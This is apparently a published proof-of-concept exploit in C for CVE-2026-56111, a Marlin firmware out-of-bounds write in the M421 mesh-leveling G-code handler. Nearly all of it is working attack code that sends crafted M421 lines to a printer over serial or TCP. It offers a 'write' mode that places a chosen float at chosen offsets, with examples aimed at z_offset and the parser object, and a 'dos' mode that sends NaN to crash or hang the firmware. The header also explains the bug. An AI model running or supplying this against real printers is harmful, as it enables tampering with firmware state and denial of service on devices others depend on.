Marlin Firmware M421 G-code Handler Out-of-Bounds Write — CVE-2026-56111

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204

/*
 * PoC for CVE-2026-56111
 * Marlin Firmware <= 2.1.2.7 - Out-of-bounds write via the M421 G-code handler
 * (Mesh Bed Leveling). Fixed in commit 1f255d1.
 *
 * The M421 MBL handler checks only that the I/J indices are not negative. It does
 * not check the upper bound. set_z() then writes z_values[ix][iy] = z with no bound
 * check. An index past the grid writes a controlled 32-bit float past the z_values
 * array, into adjacent firmware state (z_offset, the parser object, GcodeSuite state).
 *
 * This tool only sends the G-code line. The out-of-bounds write happens inside the
 * firmware. The write is CONSTRAINED, not arbitrary: the target offset is
 * z_values + (ix*GRID_Y + iy)*4 bytes, with ix/iy bounded by int8_t (max 127), so the
 * reachable window is about 2 KB past z_values. You control the value (the Z float)
 * and the offset (the index). You do NOT control an absolute address.
 *
 * Two modes:
 *   write : send M421 with the I/J/Z you choose (controlled value, controlled offset)
 *   dos   : send an out-of-range index with a NaN Z value, which propagates into the
 *           motion math and reliably crashes or hangs the firmware
 *
 * Two channels:
 *   --serial <device>   e.g. /dev/ttyUSB0 or /dev/ttyACM0 (USB, the common case)
 *   --tcp <host:port>   e.g. 192.168.1.50:23 (printers exposing telnet/network gcode)
 *
 * Build:  gcc -O2 -o exp exploit.c
 *
 * Use only on devices you own or are authorized to test.
 *
 * Author: Christ Bouchuen
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <termios.h>
#include <errno.h>
#include <stdint.h>

#include <sys/socket.h>
#include <netdb.h>

static void usage(const char *p) {
    fprintf(stderr,
"PoC for CVE-2026-56111 (Marlin M421 out-of-bounds write)\n\n"
"Usage:\n"
"  %s (--serial <dev> [--baud N] | --tcp <host:port>) <mode> [mode args]\n\n"
"Channels:\n"
"  --serial <dev>     serial device, e.g. /dev/ttyUSB0 or /dev/ttyACM0\n"
"  --baud N           serial baud rate (default 115200; many boards use 250000)\n"
"  --tcp <host:port>  TCP target, e.g. 192.168.1.50:23\n\n"
"Modes:\n"
"  write -i IX -j IY -z VALUE\n"
"        send 'M421 I<IX> J<IY> Z<VALUE>'. With an out-of-range IX/IY this writes\n"
"        VALUE past z_values. Offset = z_values + (IX*GRID_Y + IY)*4 bytes.\n"
"        Example (3x3 grid, valid max index 2):\n"
"          %s --serial /dev/ttyUSB0 write -i 3 -j 0 -z 99.0   (hits z_offset)\n"
"          %s --serial /dev/ttyUSB0 write -i 5 -j 0 -z 99.0   (hits parser object)\n\n"
"  dos\n"
"        send 'M421 I120 J120 Z<NaN>'. The NaN propagates into the motion math and\n"
"        reliably crashes or hangs the firmware.\n\n"
"Use only on devices you own or are authorized to test.\n",
    p, p, p);
}

/* ---- serial channel ---- */
static int open_serial(const char *dev, int baud) {
    int fd = open(dev, O_RDWR | O_NOCTTY | O_SYNC);
    if (fd < 0) { perror("open serial"); return -1; }

    struct termios t;
    if (tcgetattr(fd, &t) != 0) { perror("tcgetattr"); close(fd); return -1; }

    speed_t s;
    switch (baud) {
        case 9600:   s = B9600;   break;
        case 19200:  s = B19200;  break;
        case 38400:  s = B38400;  break;
        case 57600:  s = B57600;  break;
        case 115200: s = B115200; break;
        case 230400: s = B230400; break;
#ifdef B250000
        case 250000: s = B250000; break;
#endif
#ifdef B500000
        case 500000: s = B500000; break;
#endif
        default:
            fprintf(stderr, "unsupported baud %d, using 115200\n", baud);
            s = B115200; break;
    }
    cfsetospeed(&t, s);
    cfsetispeed(&t, s);

    t.c_cflag = (t.c_cflag & ~CSIZE) | CS8;   /* 8 data bits          */
    t.c_cflag |= (CLOCAL | CREAD);            /* local, enable read   */
    t.c_cflag &= ~(PARENB | PARODD);          /* no parity            */
    t.c_cflag &= ~CSTOPB;                     /* 1 stop bit           */
    t.c_cflag &= ~CRTSCTS;                    /* no hw flow control   */
    cfmakeraw(&t);                            /* raw mode             */

    if (tcsetattr(fd, TCSANOW, &t) != 0) { perror("tcsetattr"); close(fd); return -1; }
    return fd;
}

/* ---- tcp channel ---- */
static int open_tcp(const char *hostport) {
    char buf[256];
    strncpy(buf, hostport, sizeof(buf) - 1);
    buf[sizeof(buf) - 1] = 0;

    char *colon = strrchr(buf, ':');
    if (!colon) { fprintf(stderr, "tcp target must be host:port\n"); return -1; }
    *colon = 0;
    const char *host = buf;
    const char *port = colon + 1;

    struct addrinfo hints, *res, *rp;
    memset(&hints, 0, sizeof(hints));
    hints.ai_family   = AF_UNSPEC;
    hints.ai_socktype = SOCK_STREAM;

    int err = getaddrinfo(host, port, &hints, &res);
    if (err) { fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(err)); return -1; }

    int fd = -1;
    for (rp = res; rp; rp = rp->ai_next) {
        fd = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol);
        if (fd < 0) continue;
        if (connect(fd, rp->ai_addr, rp->ai_addrlen) == 0) break;
        close(fd); fd = -1;
    }
    freeaddrinfo(res);
    if (fd < 0) { fprintf(stderr, "could not connect to %s\n", hostport); return -1; }
    return fd;
}

static int send_line(int fd, const char *line) {
    size_t len = strlen(line);
    ssize_t n = write(fd, line, len);
    if (n < 0 || (size_t)n != len) { perror("write"); return -1; }
    printf("sent: %s", line);
    return 0;
}

int main(int argc, char **argv) {
    const char *serial_dev = NULL;
    const char *tcp_target = NULL;
    int baud = 115200;

    /* parse channel */
    int i = 1;
    for (; i < argc; i++) {
        if (!strcmp(argv[i], "--serial") && i + 1 < argc) { serial_dev = argv[++i]; }
        else if (!strcmp(argv[i], "--baud") && i + 1 < argc) { baud = atoi(argv[++i]); }
        else if (!strcmp(argv[i], "--tcp") && i + 1 < argc) { tcp_target = argv[++i]; }
        else break; /* mode starts here */
    }

    if ((!serial_dev && !tcp_target) || i >= argc) { usage(argv[0]); return 2; }
    if (serial_dev && tcp_target) {
        fprintf(stderr, "choose one channel: --serial OR --tcp\n"); return 2;
    }

    const char *mode = argv[i++];
    char line[128];

    if (!strcmp(mode, "write")) {
        int ix = 0, iy = 0; double z = 0.0; int have_i = 0, have_j = 0, have_z = 0;
        for (; i < argc; i++) {
            if (!strcmp(argv[i], "-i") && i + 1 < argc) { ix = atoi(argv[++i]); have_i = 1; }
            else if (!strcmp(argv[i], "-j") && i + 1 < argc) { iy = atoi(argv[++i]); have_j = 1; }
            else if (!strcmp(argv[i], "-z") && i + 1 < argc) { z = atof(argv[++i]); have_z = 1; }
            else { fprintf(stderr, "unknown write arg: %s\n", argv[i]); return 2; }
        }
        if (!have_i || !have_j || !have_z) {
            fprintf(stderr, "write needs -i IX -j IY -z VALUE\n"); return 2;
        }
        snprintf(line, sizeof(line), "M421 I%d J%d Z%g\n", ix, iy, z);
    }
    else if (!strcmp(mode, "dos")) {
        /* NaN literal for the Z value; firmware parses it into the motion math */
        snprintf(line, sizeof(line), "M421 I120 J120 Z%s\n", "nan");
    }
    else {
        fprintf(stderr, "unknown mode: %s\n", mode); usage(argv[0]); return 2;
    }

    int fd = serial_dev ? open_serial(serial_dev, baud) : open_tcp(tcp_target);
    if (fd < 0) return 1;

    int rc = send_line(fd, line);

    /* give the firmware a moment, then read whatever it echoes back */
    usleep(200000);
    char rx[512];
    ssize_t r = read(fd, rx, sizeof(rx) - 1);
    if (r > 0) { rx[r] = 0; printf("recv: %s\n", rx); }

    close(fd);
    return rc ? 1 : 0;
}